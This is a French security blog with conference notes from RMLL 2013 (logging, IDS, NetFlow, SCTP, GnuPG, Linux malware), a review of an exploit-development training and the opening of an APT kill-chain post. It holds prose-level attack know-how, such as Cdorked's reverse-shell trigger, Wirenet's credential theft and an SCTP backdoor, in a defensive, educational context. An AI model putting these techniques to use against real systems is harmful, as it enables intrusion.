Quatre business fonctions sont définies (governance, construction, verification et developpement) avec pour chacun d'entre eux trois axes de travail. Les slides suivantes précisent ces points. L'orateur conseille d'aller sur le site de l'OWASP qui contient un grand nombre de ressources, de videos, de présentations sur le sujet. La suite de la présentation effectue une revue de ces points, je renvoie donc vers les slides et le site de l'OWASP<br />
Je note le proxy offensif <a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project">https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project</a> qui semble intéressant à essayer.<br />
<br />
<a href="http://schedule2013.rmll.info/programme/technique/securite/article/net-s-flow-decouvertes-d-anomalies">Cedric Foll - (Net|S)Flow Détection d'anomalies et d'attaques sur le campus</a><br />
<br />
La dernière conférence de la matinée est donné par un des rédacteurs en chef de MISC qui va présenter comment détecter des activités malicieuses sur un réseau à l'aide de Netflow. Netflow est un protocole standard qui permet (entre autre) de visualiser de manière graphique des flots, au lieu de lire des longues de pages de logs. Netflow a été développé par Cisco, standardisé par IPFIX, et Sflow est une version dédiée pour les switchs.<br />
Le principe repose sur les flux contenant les informations suivantes: IP src, dst, L4 ports, heure démarrage, durée, et quantité échangée. Un flux expire après 15s d'inactivité, 30 mn d'activités, quand un RST ou FIN est envoyé. Les routeurs envoient ces infos à un collecteur qui enregistre ces données.<br />
Ces enregistrements s'exploitent à l'aide de nfdump/nfsen et permettent de créer des représentations graphiques des flux.<br />
La suite de la présentation va montrer comment on utilise ces outils sur des exemples réels, extraits d'enregistrements de flux de l'université de Lille. Après des exemples généraux nous arrivons à une démonstration de détection de comportement malicieux. L'exemple montre comment un pic TCP sur le port 53 est facilement repéré, puis investigué. Un second exemple tout aussi parlant montre comment un DNS en configuration open a été trouvé. Les exemples continuent, toujours aussi visuels.<br />
Netflow permet aussi de trier les ports par usage, par exemple pour trouver les ports les scannés. D'autres types de scan horizontaux (une IP qui scan un range) sont également facilement trouvés.<br />
Les tunnels HTTP/HTTPs se détectent facilement: long flux avec peu de data; ainsi que les tunnels DNS: beaucoup de DATA, par contre les tunnels ssh sont plus difficiles à trouver.<br />
La présentation est très visuelle, j'invite à voir les slides qui vont être dispos sur le site des RMLL d'ici peu.<br />
<br />
Jonathan Clarke - Rudder<br /><br />Le talk va parler d'infrastructures et de l'automatisation de certaines tâches IT. L'automatisation est une composante essentielle de l'activité d'IT pour plusieurs bonnes raisons, rapidité, reproductibilité, éviter d'oublier des points, etc.. Plusieurs outils existent, comme CFEngine, puppet ou Rudder.<br /><br />
Mais plus que l'automatisation, l'important est la compliance. Celle ci permet de connaitre l'état de l'IT, d'obtenir une vue d'ensemble et surtout de la prouver. Ce besoin de compliance provient de multiples endroits: les lois, les réglementations industrielles ou d'entreprises et les "best practices".<br />Cette compliance s'appuye sur des messages de préventions, des politiques de mots de passe, des paramétrages particuliers, etc.. L'automatisation mentionnée plus haut n'est pas forcément de la compliance. La fréquence des vérifications est importante et doit être fait le plus souvent possible. La compliance ne peut pas être faite à moitié, c'est un système all-or-nothing qui se complique vite, du fait de l'hétérogénéité des machines, OS et versions. La compliance ne peut pas être mal faite car cela touche généralement des serveurs en productions et la moindre erreur peut avoir de grandes répercussions.<br /><br />L'orateur continue avec une démonstration de l'interface graphique de Rudder. Le but de Rudder est de donner un outil Plug&Play qui permet d'automatiser les tests de compliance. La conf par défaut marche out-of-the-box elle est prépackagé pour tous les OS et l'intégralité de la configuration se fait à l'aide d'une interface Web. Le workflow d'utilisation est assez simple à prendre en main.<br /><br />En conclusion, l'orateur explique que la compliance en sécurité bénéficie beaucoup de l'automatisation. Mais cette automatisation n'est pas tout. Il faut croiser ces données avec celles du monitoring pour une couverture maximale.<br />
<br />
<br />
<br />
<br />Je ne peux rester pour les autres talk, ayant un impératif de transport.<br />
Merci RMLL2013, merci à l'organisation, c'était encore une très bonne année.Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-65507630287821082062013-07-09T12:22:00.001+02:002013-07-09T12:22:56.661+02:00RMLL 2013 - live blogging - jour2Le réseau wifi est présent et actif, me permettant de mettre en ligne directement après les talks, merci au NOC des RMLL :-) <br />
<br />
<a href="http://schedule2013.rmll.info/schedule/technical/security/article/logging-and-free-software-2013">Peter Czanik - Logging & syslog-ng</a><br />La conférence parle de syslog-ng et de la journalisation en général. syslog-ng est développé par balabit, une compagine de 150 personnes dont<br />80% savent configurer un kernel linux ;)<br />Le logging est la science qui enregistre les évènements qui se passent sur un ordinateur. Le premier outil utilisant le logging fut sendmail. Logger est essentiel pour l'administration IT, aussi bien pour les développeurs, les administrateurs ou pour la sécurité dans des situations d'audits ou réponse à incident; mais seulement si les logs sont managés.<br />Syslog-ng existe depuis 1997, est appelé le couteau suisse du log, et essaye de centraliser tous les logs. La centralisation permet une collecte et une utilisation simple des logs et de permettre leur accès même si les machines sources sont down ou compromises.<br />La version la plus populaire de syslog-ng est la 1.6 (10 ans d'âge) qui est utilisée par les kindle d'amazon. La dernière version est la 3.4. L'orateur parle ensuite du format de log. Généralement, nous avons une date, puis une hostname et enfin du texte en anglais permettant une lecture simple du message. Lorsqu'un grand nombre de ligne de logs existe, il devient difficile de chercher les logs intéressant. Il est nécessaire alors de mieux structurer les logs afin de pouvoir les parser automatiquement.<br />syslog-ng utilise une méthode clé/valeur et un parseur pour pouvoir "grepper" plus facilement de l'information. Les autres features concernent une correlation facilitée, un formatage json des données, un export mongoDB et des destinations AMQP.<br />Dans le monde des logs, un nouveau challenger du nom de journal a fait son apparition. Journal est appareillé avec systemd. Il utilise également un système de clés/valeurs. Il peut exporter ses logs vers syslog-ng. journal dispose d'une feature intéressante d'authentification du process émetteur pour éviter qu'un attaquant ne pollue des logs avec des faux messages. Journal n'est pas un concurrent de syslog-ng, mais plutôt un allié qui concerne le log local des machines linux.<br />Pour revenir à sylog-ng, il apparait qu'une standardisation de ces clés valeurs devient de plus en plus important. Ce Graal du logging aurait beaucoup d'applications pratiques, mais trop d'applications continuent d'utiliser des logs non formattées.<br />Un outil graphique se basant sur ces systèmes clés valeur est ELSA, basé sur syslog-ng, patternDB et mySQL et permet des recherches de log tournés vers la sécurité.<br />
En conclusion, l'orateur donne les raisons poussant à utiliser syslog-ng: <br />15 ans de développements, scalability, une documentation exemplaire.<br />
<br />
<a href="http://schedule2013.rmll.info/schedule/technical/security/article/what-will-you-investigate-today">Xavier Mertens - What will you investigate today</a><br /><br />Encore une conférence sur les logs, mais plus tourné sur la sécurité et la recherche à l'intérieur de ceux-ci.<br />Le problème des logs n'est pas d'en manquer, le problème est plutôt de retrouver parmi les millions d'évènements ceux qui font sens. Pour des raisons de compliance, les entreprises installent des outils de logging, mais l'exploitation des résultats n'est pas forcément simple. Malgré tous ces logs, les entreprises mettent plusieurs mois pour se rendre compte des brèches: 66% des brèches sont détectées plusieurs mois après après et 69% des data breach sont remontées par des tiers!<br />Le premier outil de recherche dans les logs est "grep". Il permet déjà d'extraire des infos intéressantes. Toutefois, cela permet de trouver des choses connues, que l'on cherche et ne donne pas d'idée sur l'inconnu (Par exemple, grepper des logs apache sur des codes peu usités peut donner des pistes intéressantes)<br />Pour aider, il existe aussi la corrélation de plusieurs sources, mais la classification n'est pas forcément simple.<br />Certaines listes permettent de classifier les données brutes; par exemple GeoIP pour les IP, ou une liste de noms d'utilisateurs importants (admin, root, "bob", etc..). Ces listes peuvent être dynamiques: une IP effectuant un portscan devient suspicieuse et a besoin d'une plus grande attention si elle se logge sur un service particulier.<br />Aujourd'hui, il est très difficile de filtrer tous ces évènements, tout le bruit afin de pouvoir se concentrer sur les plus importants.<br /><br />Les premiers logs à creuser sont ceux du DNS, car il est essentiel et beaucoup de canaux d'exfiltrations l'utilisent. Il est également utilisé par les malwares pour trouver l'IP de leur C&C. Une liste de domaine malveillant va permettre de cibler des machines suspicieuses. Des machines tentant d'utiliser d'autres DNS que les DNS d'entreprises doit également être surveillée.<br />Les seconds logs sont les logs HTTP. "HTTP est le nouveau TCP". Il est nécessaire de surveiller les domaines, de faire de l'inspection SSL et de vérifier les hashs des fichiers échangés.<br />Le troisième protocole à surveiller est le SMTP. Les méthodes sont identiques, les domaines de sortie, et les flux de données.<br />Enfin, un outil à utiliser est netflow, qui permet d'obtenir des graphes intéressants listant les IP/ports sur une échelle de temps.<br /><br />L'orateur donne des ressources sur internet à connaître. Tout d'abord, le site wwww.malwaredomainlist.com donnant des IP à chercher dans les logs.<br />Ensuite, GeoIP donne un point de vur intéressant sur les IP circulant sur ses réseaux. La seconde liste concerne les domaines DNS malveillant: malwaredomaines.com . Une troisième ressource est liée aux URLs. <br />malwareurls.joxeankoret.com, ou la liste malware URL de google (une API<br />existe). Toutefois, certaines de ces listes ont des limites légales (pas de<br />redistribution commerciales, API limitée, etc..) Enfin, il faut savoir utiliser des méthodes originales propres à ses domaines d'activités.<br /><br />D'autres outils sont donné: pastebin a souvent des informations de première main. Des outils de parsing ne sont pas à négliger comme d3js. Un outil <br />comme OSSEC est conseillé par l'orateur pour ses qualités. Une série d'outils online est fournie (donnée sur les slides de la conf) comme malwr.com ou virustotal qui peut aider à détecter des comportements ou fichiers suspicieux.<br /><br />En conclusion, l'orateur indique qu'il existe beaucoup de données à investiguer et qu'il est nécessaire de bien connaitre son environnement. Le logiciel libre va vous aider, mais il reste un gros travail de recherche et de corrélation qui demande du temps.<br /><br />Pendant les questions, une remarque intéressante est faite concernant pastebin. Il existe beaucoup de surveillances sur ces sites de paste. Malheureusement, aucun outil de partage des informations sur ces "pasties" n'existe et un framework de recherche serait très intéressant, remarque que je partage pleinement.<br />
<br />
<a href="http://schedule2013.rmll.info/schedule/technical/security/article/defendez-votre-reseau-contre-les">Eric Leblond - Suricata the terminator of IDS/IPS</a><br /><br />La conférence démarre par une présentation d'Eric Leblond, contributeur<br />de Suricata, Ex-CEAo d'EdenWall. Cette présentation va faire une présentation de Suricata et continuer par une démo de ses possibilités.<br />Eric démarre par une définition des IDS/IPS. L'ids est passif et se compare à une caméra de surveillance, l'IPS bloque et s'apparente plus à un checkpoint de sécurité. Un IDS va écouter le réseau, effectuer une reconstruction de paquet/flux et appliquer enfin une normalisation des données pour appliquer une politique de détection de flux malveillants. Les projets ressemblant à suricata sont BRO, plus orienté capture de paquets, et Snort qui a inspiré le développement de Suricata. Suricata veut devenir un "Snort meilleur que Snort". Snort souffre d'un manque de performances et de 10 ans de développement, mais à l'avantage d'être bien connu. Suricata sait utiliser les rulesets de Snort (au prix de performances faibles et d'une impossibilité d'utiliser toutes les optimisations de suricata). Suricata propose un jeu de règle open source (emerging threat) directement utilisable.<br /><br />Le développement d'OISF (fondation derrière suricata) a démarré avec l'aide du gouvernement US (DHS, Navy) dans l'idée d'en faire un outil open source. Ce financement souhaite dès le début du projet pouvoir se désengager de celui-ci afin qu'il puisse vivre en open source.<br />Le core developpement est assuré par trois personnes, et environ 35 contributeurs poussent régulièrement du code. Suricata est multiplateformes, supporte IPv6, multithreaded, accéléré en hardware, orienté perfs, permet d'être utilisé en mode "test", en mode IPS pur, sait détecter les protocoles indépendemment des numéros de ports, extraire des fichiers des flux, et est capable d'appeler un script LUA pour effectuer des<br />méthodes de détection plus intelligentes, et se connecte avec GeoIP.<br /><br />Suricata sait digérer plusieurs méthodes d'entrées, pcap (live & offline) AF_PACKET, PF_RING, etc... Et en output sait renvoyer du Fastlog, pcaplog, unified2log, Prelude, etc.. Un des points central de suricata est la libhtp, une bibliothèque capable de reconstruire les flux HTTP et qui donne des pointeurs vers chaque partie du flux (en-tête, cookie, url, etc..), et surtout qui sait reconnaître du HTTP quel que soit le port. La lib HTP sait aussi extraire et critériser selon les metadata (extraire un fichier, son filetype, son extension, son hash, etc..) Plusieurs exemples sont donnés, ou l'on peut surveiller le type des fichiers entrant sur un serveur web, si des clés RSA circulent sur le réseau (!!).<br /><br />Un manque de temps oblige l'orateur a accélerer et nous passons sur le mode IPS. Le jeu de règles est un peu différent, car basculer d'un mode "alert" à "drop" peut surbloquer des services.<br />
<br />
Enfin, nous passons à la démo qui consiste à ralentir au maximum les flux des personnes envoyant des documents Word sur le réseau (car "Word is heavy as hell"). Suricata sait reconnaitre les fichiers word grâce aux mots-clés de la libhtp, et peut poser des marques netfilter. iptables va utiliser la target CONNMARK pour propager le marquage sur la connection entière. L'orateur réussit ensuite le tour de force consistant à expliquer comment la QoS sous linux fonctionne en une slide et 45 secondes ;) Il pose une règle de QoS restreignant les flots portant un fichier .doc a 1ko/s (très généreux de sa part). Les utilisateurs peuvent essayer de modifier l'extension, mais suricata sait le détecter et il devient possible de mettre une règle autorisant 10ko/s pour ces gens intelligents :). Mais ces gens intelligents sont peut-être à surveiller. Dans ce cas, iptables peut repérer ces IP grâce à suricata et les mettre dans une table pour les logger.<br />
<br />
<a href="http://schedule2013.rmll.info/schedule/technical/security/article/opening-up-mobile-and">Pierre-olivier Vauboin et Omar Awile - mobile telecom et securité</a><br /><br />Dernier talk de la journée. Les réseaux télécom sont bien plus complexes que les réseaux IP. Un slide montrant une infrastructure opérateur permet de bien visualiser l'hétérogénéité des équipements et des réseaux, les différences entre le réseau de "signaling" (entrée sur le réseau, sortie, payement etc..) et le réseau data (données utilisateurs clients (voix, etc.) Il y a aussi un nombre beaucoup plus grand d'équipements, depuis la femtocell jusqu'au HLR, ouvrant de fait plus de surfaces d'attaque. Les protocoles aussi sont beaucoup plus nombreux en telecom qu'en IP: SCTP, SIgtran, M3UA, MAP, GPRS, etc.. contre DNS, HTTP, etc.. Les slides montrent des stacks IP versus des stacks telecom qui permettent de se rendre compte de la jungle dans lesquels vivent ceux-ci.<br /><br />Le routage en IP est relativement simple (ethernet, IP, numéros de ports) alors qu'en telecom il existe de multiples standard et de multiples données dans toutes les couches protocolaires et le routage utilise une combinaison de toutes ces données. SCTP (RFC 4960) a été développé pour remplacé TCP, qui ne convient pas très bien aux réseaux télécom (délais, stream-oriented, pas de support du multi-homing). SCTP implémente une méthode permettant de gérer des flux répondant aux contraintes télécom. La plus grosse différence repose dans les chunks: un paquet SCTP peut embarquer des paquets différents, de différentes connexions. SCTP est la glu permettant de connecter des réseaux IP avec des réseaux telecom.<br /><br />La deuxième partie de la conférence traire de pysctp, une bibliothèque pour monter des flux SCTP facilement. Un serveur M3U peut s'écrire en une vingtaine de ligne de code. Un second exemple implémentant une backdoor over SCTP tient également en une vingtaine ligne de code, et comme SCTP n'est pas TCP, les méthodes de détection utilisant netstat sont aveugles (quelques patch pour netstat existent pour afficher le SCTP toutefois). Il faut alors regarder dans /proc/net/sctps/eps et assocs pour connaitre les connexions SCTP.<br />
Cette bibliothèque permet également de scanner les serveurs SCTP. Les réponses dépendent des serveurs et de leurs implémentations, mais il en connaissant ces différences le scan est efficace. Wireshark sait disséquer les protocoles telecom, et sait dépiler le mille-feuilles des protocoles utilisés. Le problème de SCTP est qu'il est de plus en plus utilisé, alors qu'il n'a pas d'authentification et qu'il faudrait utiliser IPsec, sauf qu'IPsec n'est pas vraiment déployé. L'orateur donne des exemples d'analyse réseau passive de réseaux télécom, ou de scan actif.<br /><br />Pour conclure, l'orateur redit que le monde telecom est plus compliqué que le monde IP en raison du grand nombre de technologies et protocoles. Malgré tout SCTP est ubiquitaire dans ces telecom comme interface entre l'IP et le monde telecom. Il reste encore beaucoup de sécurité à creuser<br />et à mettre en oeuvre dans ces réseaux.<br />Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-29863426378696721572013-07-09T09:55:00.001+02:002013-07-09T11:28:09.571+02:00RMLL 2013 - Live bloggingJe suis de nouveau aux <a href="http://2013.rmll.info/">RMLL</a> afin de suivre le <a href="http://schedule2013.rmll.info/schedule/technical/security/?lang=fr">track sécurité</a>.<br />
Je propose comme l'année dernière un live blogging des conférences.<br />
Les tracks ont commencés hier, mais un problème d'accès au réseau m'a empêché de poster hier. Voici donc un CR du 8 juillet 2013. Les slides sont disponibles sur <a class="twitter-timeline-link" data-expanded-url="http://moutane.net/RMLL2013/" dir="ltr" href="http://t.co/ieWXYLH9U5" rel="nofollow" target="_blank" title="http://moutane.net/RMLL2013/"><span class="invisible">http://</span><span class="js-display-url">moutane.net/RMLL2013/</span><span class="invisible"></span><span class="tco-ellipsis"><span class="invisible"> </span></span></a> <br />
<br />
<a href="http://schedule2013.rmll.info/schedule/technical/security/article/gnupg-etat-de-l-art">Werner Koch - GnuPG Status Report</a><br />
<br />
Werner commence par un historique des versions de GPG. La version 2 a amené la modularisation de GPG. GPG est multiplateformes, utilisable pour le desktop. GPG a une base de développeurs solide, ainsi qu'un groupe de mainteneurs, bug reporters, code reviewers, etc.. GPG est couvert par plusieurs aspects légaux un travail est donc fait pour le contourner, plusieurs copyright assignments leur ayant été remonté. Werner Koch passe ensuite en revue la liste des features de GPG: Tout d'abord S/MIME avec management de clé qui propose aussi une CLI complète permettant de gérer des clés, et le mécanisme de gestion de CA est presque au point.<br />
GPG-Agent s'occupe de la gestion des clés privées et de leur mise en cache. GPG-agent dispose d'une fonction de scripting GPG sait se connecter avec ssh, en remplaçant ssh-agent par gpg-agent. Il fonctionne avec des cartes à puces. GPG utilise un framework spécifique pour les cartes à puces (carte openPGP), qui serait un sujet de talk à part entière, il passe donc rapidement sur le point.<br />
Il parle ensuite du projet g13 pour le chiffrement de surface. La clé maître du device est wrappée par PGP. Il devient donc possible d'utiliser sa smartcard openPGP pour ouvrir des fichiers encFS. Le portage pour dm-crypt est en cours, ainsi que GELI (BSDs).<br />
Le projet qui intéresse les développeurs en ce moment est GPGME, l'API standard d'accès à GnuPG. Il s'agit d'une interface pour avoir accès aux clés et à gpg-agent.<br />
Dans le domaine des améliorations, Werner indique que les clés GPG secrètes sont désormais controllées par GPG-agent. Cela permet des simplifications de code et le merging de clés. Une autre amélioration concerne la Keybox. En effet, les clés sont concaténées les unes aux autres, et un grand nombre de clés va demander plusieurs secondes pour y accéder. Cette amélioration permet d'accéder en moins de 100ms à une clé parmi 20000. Une autre amélioration concerne le mode pinentry qui devrait permettre d'utiliser facilement GPG sur les postes non desktop. GPG est également en train de remplacer les threads Pth par nPth pour des raisons de simplicité. De son côté la libgcrypt se voit amélioré en utilisant les optimisations des CPU modernes (AES-ni, SSE2, etc..) et quelques nettoyages de code.<br />
Le cas d'openpgpjs est évoqué. C'est intéressant mais cela ouvre beaucoup d'axes d'attaques, malgré les demandes. Werner Koch remercie ensuite les développeurs et la communauté.<br />
<a href="http://schedule2013.rmll.info/schedule/technical/security/article/le-chiffrement-de-disque-sous"><br /></a>
<a href="http://schedule2013.rmll.info/schedule/technical/security/article/le-chiffrement-de-disque-sous">Kevin DENIS - le chiffrement de disque sous linux, vrai ou faux sentiment de sécurité, deuxième round.</a><br />
Généralement, on pense que:<br />
You choose to crypt your disk...<br />
...and you're safe & secure<br />
Alors qu'il s'agit plutôt de:<br />
You choose to crypt your disk...<br />
and you know (basically) how it works<br />
and you check that crypto defaults choosen by your distro are safe<br />
and you check the crypto algorythm and implementation<br />
and you check the quality of the master key<br />
and you check that password inputs are safe<br />
and you check that you can change your keys<br />
and you check that your password can't be easily bruteforced<br />
and you check the integrity of your boot process<br />
and you check the integrity of the ciphered blocks<br />
and you check that your keys doesn't remains in RAM<br />
...and you're safe & secure (sort of)<br />
<br />
<a href="http://schedule2013.rmll.info/schedule/technical/security/article/malware-on-linux-platform">Paul Rascagnères - malware sous linux</a><br />
Ce talk souhaite casser l'idée reçue comme quoi il n'y a pas de malware sous linux, au travers de 3 exemples réels de 2013: Darkleech, Cdorked, wirenet..<br />
- Darkleech/Chapro.<br />
Darkleech est un module apache "authentique", qui va ajouter du javascript dans certaines pages pages web pour rediriger des clients. Darkleech est également une backdoor permettant de prendre la main du système. Le nom du malware varie (ex: sec2_config_module), et injecte surtout des exploits kits. Les cibles sont choisies par les informations de headers clients, en excluant les moteurs de recherche et versions de navigateurs non ciblées par l'exploit kit. Ce malware est obfusqué par un simple XOR, ce qui permet facilement d'accéder aux informations.<br />
- Cdorked<br />
Il ressemble au premier, sauf qu'il ne s'agit pas d'un module apache, mais du binaire apache lui-même. Il n'est pas obfusqué, et la première chose qui apparaît est la possibilité d'obtenir un reverse shell. (la clé pour ouvrir un shell consiste à demander le favicon.iso au lieu du favicon.ico)<br />
- Wirenet<br />
Ce malware attaque plutôt les desktops, et ressemble aux malwares windows. Il est chiffré avec de la crypto forte (RC4), mais la clé est présente et permet de lire les chaines de caractères. Le malware communique avec un C&C, un faux serveur a donc été créé, la communication est chiffré avec AES prouvant que les développeurs connaissent la crypto (RC4, AES). Ce C&C permet de lancer des commandes arbitraires sur le poste victime (ps, rm, récupération de credentials pidgin, thunderbird, clear des logs, etc). Ce malware inclut toutefois l'intégralité de ces possibilités à la différence des malwares windows qui n'incluent que le strict minimum et pousse au fur et à mesure des modules additionnels.<br />
<br />
En conclusion, Paul rappelle la facilité avec laquelle il est possible d'écrire des malwares sous linux. Une demo de 10 ligne nous montre comment écrire un ransomware en shell. Cette simplicité risque d'en faire une cible de choix, et l'idée comme quoi linux n'a pas de malware est une idée fausse.<br />
Une question est posée lui demandant si les vecteurs d'infections sont connus, et Paul Rascagnères répond qu'il n'a travaillé que sur le reverse de ces malwares qui lui ont été fournis, et non pas sur leur détection. Pour Darkleech, nous savons que les pirates ont utilisés une faille de l'outil Plex pour obtenir un shell sur les machines hébergeant les serveurs web.Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-48137293804771726902013-06-21T17:05:00.001+02:002013-06-21T17:05:12.918+02:00Corelan live: j'y étais!J'ai participé au training "<a href="http://www.hackinparis.com/corelan">corelan Live</a>" effectué par le fondateur du blog Corelan et de l’entité Corelan CVG : Peter « <a href="https://twitter.com/corelanc0d3r">corelanc0d3r</a> » Van Eeckhoutte. Ce training proposé par <a href="http://www.hackinparis.com/">HackInParis</a> durait trois jours, du 17 au 19 juin 2013, et nous étions une vingtaine d'auditeurs.<br />
<br />
Au cours de ces trois jours, Peter nous a montré la manière d’écrire des exploits de manière fiable et avec une précision digne d’un horloger suisse: Pas de NOP sled (des chatons meurent lorsqu'un NOP est utilisé), et un placement parfait des shellcodes à l'octet près! Ont été abordés les sujets suivants:
<br />
<ul>
<li>L’architecture x86</li>
<li>L’exploitation de stack buffer overflow</li>
<li>Hotpatching des exploit</li>
<li>L’utilisation des SEH pour l’exécution de code</li>
<li>L’utilisation de ROP</li>
<li>L’écriture de modules metasploit</li>
<li>Le bypass d’ASLR et de DEP</li>
<li>Le heap spraying et le Use After Free</li>
</ul>
<div>
avec à chaque fois de nombreuses mises en pratique sur des cas concrets et réels: Vrai serveur web, outils SCADA (en version démo), pwnage de wireshark, IE7/8/9/10 fournis en version -1 ou -2 (afin qu'ils soient vulnérables) etc.., avec utilisations de plusieurs CVE récents.</div>
<div>
<br /></div>
<div>
Au final, c’est une formation dense au timing serré, et il n’y a pas eu de temps mort ! Lorsque l’on n’est pas en train d’écrire et fiabiliser un exploit pour en faire un module metasploit, Peter nous détaille les méandres de la mémoire ou de Windows. La formation est tellement compressée que Peter nous demanda de venir à 9h00 plutôt que les 9h30 annoncés, et de finir à 19h au lieu de 17h30. Il nous est même arrivé de sortir à 20h et de continuer l’exercice le soir dans la chambre d’hôtel (où j'ai finalement trouvé la bonne ROP chain qui appelle le VirtualAlloc qui permet de contourner le DEP qui permet d'exécuter l'exploit: Yay \o/ ).</div>
<div>
J'ai mangé de l'assembleur 10 heures par jour, du debugger, et exploré la mémoire de nombreux programmes, et ça m'a beaucoup plu. Comme indiqué dans la présentation, c'est une formation qu'on ne peut recommander qu’aux personnes ayant un minimum de bagage dans les buffers overflow, la lecture d’assembleur et l’utilisation de debugger, sans quoi les participants risqueraient à s’y noyer avant la fin de la première matinée.</div>
<div>
L’un des gros avantages du training de Peter, c’est la quantité de techniques, tricks, et petites astuces qu’il fournit pour l’écriture d’exploits ou le bypass de certaines protections. Ses années d’expérience dans le domaine ont fait de lui une mine d’or de conseils utiles. Sans compter l’apprentissage des différents tools qu’il utilise comme « mona » (qu’il a lui-même développé). Enfin, Peter est une personne pédagogue qui sait prendre le temps de répondre précisément à toutes les questions, et ça, ça aide beaucoup.</div>
<div>
<br /></div>
<div>
Au bout de ces trois jours de trainings, mélangeant théorie et beaucoup de pratique, on en ressort tous un peu fatigué (je pense), mais finalement très heureux d’y avoir participé. Cette formation m'a aussi fait toucher du doigt la différence entre les chercheurs d'exploit, qui savent trouver des bugs, et les autres personnes qui arrivent à les fiabiliser. Savoir mettre 0x41414141 dans EIP n'est pas forcément simple, mais parvenir à transformer cette info en exploit fiable sur toutes les familles de windows, indépendemment des versions et des défenses (DEP/ASLR, etc..) est un second travail à part entière. </div>
Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-85507829576770313022013-06-16T22:13:00.001+02:002013-06-16T22:13:26.406+02:00Hack In Paris 2013 - Corelan LiveLundi, mardi et mercredi, je serais au <a href="http://www.hackinparis.com/">Hack In Paris</a> pour suivre la session <a href="http://www.hackinparis.com/training-win32-exploit-development">Corelan Live</a>, Win32 exploit Development. C'est un training intense, et selon le formateur, il est nécessaire d'avoir de bonnes nuits de sommeils avant et pendant la session tellement le rythme est soutenu durant ces trois jours. Mes VM sont prêtes, mes debuggers à jour, on verra si je finis <a href="http://24.media.tumblr.com/tumblr_ma96y0end91rgocwwo1_500.gif">comme cela</a>. Si vous êtes dans le coin et souhaitez discuter sécurité, faites signe.<br />
<br />
Je ne serais malheureusement pas présent aux talks de jeudi et vendredi :-(<br />
<br />Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-6936562378662133952013-06-10T09:36:00.004+02:002013-06-16T22:00:36.249+02:00Bloquer les APT: mission (im)possible - Partie 4/4<a href="http://exploitability.blogspot.fr/2013/05/du-hack-lapt-partie-14.html">Du hack à l'APT - Partie 1/4</a><br />
Introduction : les menaces aveugles et massives du passé<br />
Ces menaces ont évoluées et sont devenues plus dangereuses<br />
<br />
<a href="http://exploitability.blogspot.fr/2013/05/la-cible-et-les-4-cavaliers-de.html">La cible et les 4 cavaliers de l'AP(T)ocalypse - Partie 2/4</a><br />
Une cible visée<br />
La stratégie d'attaque: Les 4 cavaliers de l'AP(T)ocalypse<br />
<br />
<a href="http://exploitability.blogspot.fr/2013/06/la-persistance-de-lapt-et-lacces-aux.html">La persistance de l'APT et l'accès aux données - Partie 3/4</a><br />
Persistance et implantation profonde<br />
Accès au données: espionnage et/ou destruction<br />
<br />
<u>Bloquer les APT: mission (im)possible - Partie 4/4</u><br />
Dans la littérature fantastique le personnage du loup-garou ou du vampire revient souvent. C'est une ennemi très rapide, d'une force herculéenne, très intelligent et qui survit admirablement bien à toutes les tentatives de destruction tout en réussissant à se fondre dans la foule sans se faire reconnaître. Ce qui ressemble finalement à la menace APT. Pour les loups-garous et les vampires, il existe heureusement la fameuse "silver bullet", la balle en argent qui permet de les stopper à coup sûr.<br />
Et contre les APT, qu'avons nous?<br />
<br />
1/ A défaut de "silver bullet", une "kill chain"?<br />
Disons le rapidement, il n'existe aujourd'hui pas de "silver bullet" contre les APT, à la manière dont on nous vendait l'antivirus, le firewall ou l'UTM il y a quelques années. Par contre surgit l'idée de Kill Chain, concept tiré d'un document de <a href="http://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf">Lockheed Martin en 2010</a>. Le principe en est le suivant: puisqu'une intrusion APT est une succession d'évènements, essayons de bloquer l'APT à chacun de ses pas.<br />
<br />
Le document présente une méthode en 7 étapes pour l'attaquant, et propose 6 modes de défense pour chacune des étapes, à mettre en grille:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc53Nwr4qy4OOYnFIL_dWy2HySOpqjngDv9nmtI4Tu0wiX3z0qCG8duaR07uTwzJv9oDzc02zqVCdOEeLJtaHLZXto0O4KsoY9A169FoRYbFiM0PHRGF2fc1RyqGv2dXBN12JrD5klLhI/s1600/LockheedMartin-KC.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc53Nwr4qy4OOYnFIL_dWy2HySOpqjngDv9nmtI4Tu0wiX3z0qCG8duaR07uTwzJv9oDzc02zqVCdOEeLJtaHLZXto0O4KsoY9A169FoRYbFiM0PHRGF2fc1RyqGv2dXBN12JrD5klLhI/s320/LockheedMartin-KC.png" width="320" /></a></div>
Je propose à mon tour une autre Kill Chain, basée sur les cheminements de l'attaquant étape après étape:<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiouXmLNLPPX3fsZPNn44nis39vZ_2RL44RwkP4Uj2X81MMOaDrTHCGZiG7xoUUFatQTSSRxr_BYoqmuoD6oPsAjuB_OqfZGZI3BAXtSJTlbkW7gyZ7p1Ax-81lUvtIUYYwI8StEfgRjm4/s1600/APTKillChain.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiouXmLNLPPX3fsZPNn44nis39vZ_2RL44RwkP4Uj2X81MMOaDrTHCGZiG7xoUUFatQTSSRxr_BYoqmuoD6oPsAjuB_OqfZGZI3BAXtSJTlbkW7gyZ7p1Ax-81lUvtIUYYwI8StEfgRjm4/s400/APTKillChain.png" width="291" /></a></div>
(Edit 16/06/2013 : modification kill chain) <br />
<br />
